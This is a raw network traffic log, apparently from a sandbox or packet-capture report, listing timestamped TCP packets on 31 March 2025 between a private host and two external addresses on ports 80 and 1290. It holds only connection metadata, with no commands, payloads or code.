Mar 31, 2025 14:08:41.971586943 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:41.971586943 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:41.971590996 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.971604109 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.971607924 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:41.971616983 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:41.971616983 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:41.971637964 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.971677065 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.971688986 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.971832991 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.971843958 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.971919060 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.971930981 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.971983910 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.971996069 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.972024918 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.972035885 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.972043991 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.972059011 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.972069025 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.972079992 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:41.972150087 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:42.009238958 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:42.091639996 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:42.238641024 CEST	80	48282	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:42.238702059 CEST	48282	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:42.324903965 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:42.325009108 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:42.326387882 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:42.553517103 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:42.555273056 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:42.555284977 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:42.555360079 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:42.555361032 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:42.828361034 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:42.828480005 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:42.887672901 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:42.887813091 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:43.130487919 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:43.130522013 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:43.130618095 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:43.130618095 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:43.355297089 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:43.355353117 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:43.355439901 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:43.355439901 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:43.581942081 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:43.582035065 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:43.582036018 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:43.582077980 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:43.582087040 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:43.582118988 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:43.582123041 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:43.582161903 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:43.825428963 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:43.825445890 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:43.825459957 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:43.825474977 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:43.825520039 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:43.825520992 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:43.825520992 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:43.825520992 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:43.825587034 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:43.825609922 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:43.825623989 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:43.825639009 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:43.825639009 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:43.825660944 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:44.024106026 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:08:44.024374008 CEST	49940	1290	192.168.2.13	155.138.230.16
Mar 31, 2025 14:08:44.053838015 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:44.053860903 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:44.053874969 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:44.053889990 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:44.054017067 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:44.054574966 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:44.054589987 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:44.054603100 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:44.054617882 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:44.054629087 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:44.055102110 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:44.055116892 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:44.065833092 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:44.140222073 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:08:44.140330076 CEST	49940	1290	192.168.2.13	155.138.230.16
Mar 31, 2025 14:08:44.260039091 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:08:44.278669119 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:44.278762102 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:44.279620886 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:44.525990963 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:44.526010036 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:44.526067019 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:44.526067019 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:44.753901958 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:44.753947973 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:44.754098892 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:44.754098892 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:45.026793003 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:45.026845932 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:45.026858091 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:45.026868105 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:45.026896000 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:45.026896000 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:45.026896000 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:45.026896000 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:45.253073931 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:45.253098011 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:45.253108978 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:45.253119946 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:45.253154993 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:45.253154993 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:45.253763914 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:45.478373051 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:45.478427887 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:45.478816032 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:45.478831053 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:45.478858948 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:45.478858948 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:45.727628946 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:45.727734089 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:45.727739096 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:45.727768898 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:45.727770090 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:45.727812052 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:46.453342915 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:46.453433037 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:46.728739977 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:46.728785992 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:46.728840113 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:46.728840113 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:46.736536026 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:46.736591101 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:46.955234051 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:46.955271959 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:46.955303907 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:46.955312967 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:46.955312967 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:46.955360889 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:46.960155964 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:46.960205078 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:47.229602098 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:47.229624987 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:47.229636908 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:47.229676008 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:47.229676008 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:47.229723930 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:47.233464956 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:47.233510971 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:47.453381062 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:47.453454018 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:47.453562021 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:47.453603983 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:47.453614950 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:47.453648090 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:47.678920031 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:47.678934097 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:47.678944111 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:47.679048061 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:47.679048061 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:47.679048061 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:47.928798914 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:47.928812027 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:47.928870916 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:47.928870916 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:47.930406094 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:47.971348047 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:48.151977062 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:48.151989937 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:48.152812004 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:48.420819998 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:48.420862913 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:48.420874119 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:48.420886040 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:48.421132088 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:48.421132088 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:48.421133041 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:48.422108889 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:48.648282051 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:48.648490906 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:48.711576939 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:48.817687988 CEST	48286	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:48.941806078 CEST	80	48284	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:48.942058086 CEST	48284	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:49.023433924 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:08:49.023715973 CEST	49940	1290	192.168.2.13	155.138.230.16
Mar 31, 2025 14:08:49.047146082 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:49.047226906 CEST	48286	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:49.049242020 CEST	48286	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:49.141899109 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:08:49.141976118 CEST	49940	1290	192.168.2.13	155.138.230.16
Mar 31, 2025 14:08:49.263653040 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:08:49.330138922 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:49.330188990 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:49.330221891 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:49.330229998 CEST	48286	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:49.330285072 CEST	48286	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:49.334494114 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:49.334530115 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:49.334542036 CEST	48286	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:49.334578991 CEST	48286	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:49.340176105 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:49.340209007 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:49.340221882 CEST	48286	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:49.340260983 CEST	48286	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:49.342600107 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:49.342633963 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:49.342650890 CEST	48286	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:49.342665911 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:49.342680931 CEST	48286	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:49.342699051 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:49.342705965 CEST	48286	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:49.342771053 CEST	48286	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:49.556472063 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:49.556509018 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:49.556540966 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:49.556569099 CEST	48286	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:49.556569099 CEST	48286	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:49.556569099 CEST	48286	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:49.556572914 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:49.556627035 CEST	48286	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:49.561355114 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:49.561392069 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:49.561403036 CEST	48286	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:49.561425924 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:49.561440945 CEST	48286	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:49.561459064 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:49.566343069 CEST	48286	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:49.566508055 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:49.567081928 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:49.567114115 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:49.567215919 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:49.574508905 CEST	48286	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:49.626060963 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:49.626096010 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:49.626128912 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:49.626161098 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:49.626338005 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:49.626368999 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:49.626399994 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:49.626431942 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:49.626681089 CEST	48286	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:49.828017950 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:49.828054905 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:49.828648090 CEST	48286	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:49.831202984 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:49.831235886 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:49.831247091 CEST	48286	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:49.831321001 CEST	48286	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:49.831536055 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:49.831569910 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:49.831588030 CEST	48286	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:49.831643105 CEST	48286	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:49.833807945 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:49.833856106 CEST	48286	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:49.834098101 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:49.834130049 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:49.834144115 CEST	48286	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:49.834162951 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:49.834175110 CEST	48286	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:49.834197998 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:49.834223986 CEST	48286	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:49.834244013 CEST	48286	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:49.836930037 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:49.836965084 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:49.837011099 CEST	48286	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:49.837011099 CEST	48286	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:49.849396944 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:49.849479914 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:49.849512100 CEST	48286	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:49.849512100 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:49.849545956 CEST	48286	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:49.849545956 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:49.849545956 CEST	48286	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:49.849581003 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:49.849612951 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:49.849620104 CEST	48286	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:49.849644899 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:49.849678040 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:49.849709034 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:49.850718021 CEST	48286	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:50.060534000 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:50.060573101 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:50.061713934 CEST	48286	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:50.064126015 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:50.065211058 CEST	48286	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:50.124319077 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:50.124352932 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:50.124385118 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:50.124416113 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:50.124448061 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:50.124511957 CEST	48286	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:50.125291109 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:50.125324965 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:50.125335932 CEST	48286	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:50.126844883 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:50.129194975 CEST	48286	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:50.130757093 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:50.130789995 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:50.136317015 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:50.136351109 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:50.145349979 CEST	48286	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:50.146399975 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:50.182673931 CEST	48286	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:50.246110916 CEST	48286	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:50.355051994 CEST	48288	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:50.468512058 CEST	80	48286	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:50.468607903 CEST	48286	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:50.631988049 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:50.632101059 CEST	48288	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:50.634248018 CEST	48288	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:50.861254930 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:50.924339056 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:50.924420118 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:50.924472094 CEST	48288	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:50.924472094 CEST	48288	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:50.924854994 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:50.924887896 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:50.924917936 CEST	48288	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:50.924940109 CEST	48288	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:50.925246954 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:50.925280094 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:50.925293922 CEST	48288	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:50.925322056 CEST	48288	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:50.927902937 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:50.927936077 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:50.927963018 CEST	48288	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:50.928016901 CEST	48288	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:50.934819937 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:50.934851885 CEST	80	48288	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:50.934892893 CEST	48288	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:50.934892893 CEST	48288	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:51.146663904 CEST	80	48288	217.156.66.6	192.168.2.13
